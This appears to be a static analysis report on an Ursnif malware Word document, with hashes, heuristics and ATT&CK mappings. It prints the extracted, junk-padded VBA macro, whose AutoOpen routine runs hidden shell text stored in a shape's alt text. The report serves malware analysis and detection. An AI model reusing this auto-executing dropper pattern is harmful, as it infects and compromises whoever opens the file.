Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 b9227172f392cce5…

MALICIOUS

Office (OLE)

68.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 2865f8cb7110a4a1ffff1aeade74d94b SHA-1: 7a6b24320e5f2fa8e8d2408530f852892c10a2a8 SHA-256: b9227172f392cce51b62eb9f418a940252533c6db44cb702771f63f49fcfe4e8
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Ursnif-6864686-0', strongly suggesting the Ursnif family. Static analysis reveals the presence of a VBA macro with an 'AutoOpen' subroutine, a common technique for Ursnif. This macro uses 'Interaction.Shell' to execute a command, likely to download and run a second-stage payload, which is a typical dropper behavior.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1423 bytes
SHA-256: 4486bb51eab013877d2a6715f40ce27d9b20a7d8a2d00728f31d65266e9b1ccd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jnezywy"
Function xzaputujac()

Dim XgbRWR As Integer
Dim jtim As Long
XgbRWR = 1178# - 9421#
Dim dsevy As Variant
dsevy = XgbRWR - 3550#



Dim tgateriz As Integer
Dim XbxGgwAd As Long
tgateriz = 4271# - 5594#
Dim ghonydufyz As Variant
ghonydufyz = tgateriz - 2311#

Dim lsipyvezuf As Integer
Dim ZLCZA As Long
lsipyvezuf = 4483# - 7342#
Dim ptociripuk As Variant
ptociripuk = lsipyvezuf - 2406#



Set xzaputujac = ActiveDocument.Shapes(2)

Dim xbuxen As Integer
Dim zzivenorij As Long
xbuxen = 8803# - 6034#
Dim vluwowy As Variant
vluwowy = xbuxen - 9024#



End Function
Sub AutoOpen()

Dim vkic As Integer
Dim DCJiQ As Long
vkic = 9337# - 8563#
Dim tdefatar As Variant
tdefatar = vkic - 5073#



Dim gkHYEL As Integer
Dim YQxUYYSB As Long
gkHYEL = 1248# - 1144#
Dim zhuw As Variant
zhuw = gkHYEL - 6566#

Set QAyaszs = xzaputujac

dwoz = xzaputujac.AlternativeText





Interaction.Shell@ _
dwoz, vbHide







Dim spybufu As Integer
Dim IxXSF As Long
spybufu = 2449# - 9443#
Dim rOsmCM As Variant
rOsmCM = spybufu - 8587#

End Sub